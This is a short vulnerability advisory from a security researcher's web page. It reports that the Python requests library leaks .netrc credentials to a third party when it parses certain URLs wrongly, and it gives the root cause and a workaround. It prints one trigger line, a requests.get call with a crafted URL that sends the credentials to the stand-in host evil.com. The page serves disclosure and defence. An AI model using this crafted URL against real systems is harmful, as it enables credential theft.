Khalil Shreateh specializes in cybersecurity, particularly as a "white hat" hacker. He focuses on identifying and reporting security vulnerabilities in software and online platforms, with notable expertise in web application security. His most prominent work includes discovering a critical flaw in Facebook's system in 2013. Additionally, he develops free social media tools and browser extensions, contributing to digital security and user accessibility.

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Contact us at khalil@khalil-shreateh.com

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PSF Request Library Credential Leak

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Written by: khalil shreateh
Category: Vulnerabilities
Hits: 57
The PSF requests library (https://github.com/psf/requests & https://pypi.org/project/requests/) leaks .netrc credentials The PSF requests library (https://github.com/psf/requests & https://pypi.org/project/requests/) leaks .netrc credentials to third parties due to incorrect URL processing under specific conditions.

Issuing the following API call triggers the vulnerability:

requests.get('http://example.com:@evil.com/')

Assuming .netrc credentials are configured for example.com, they are leaked to evil.com by the call.

The root cause is https://github.com/psf/requests/blob/c65c780849563c891f35ffc98d3198b71011c012/src/requests/utils.py#L240-L245

The vulnerability was originally reported to the library maintainers on September 12, 2024, but no fix is available. CVE-2024-47081 has been reserved by GitHub for this issue.

As a workaround, clients may explicitly specify the credentials used on every API call to disable .netrc access.
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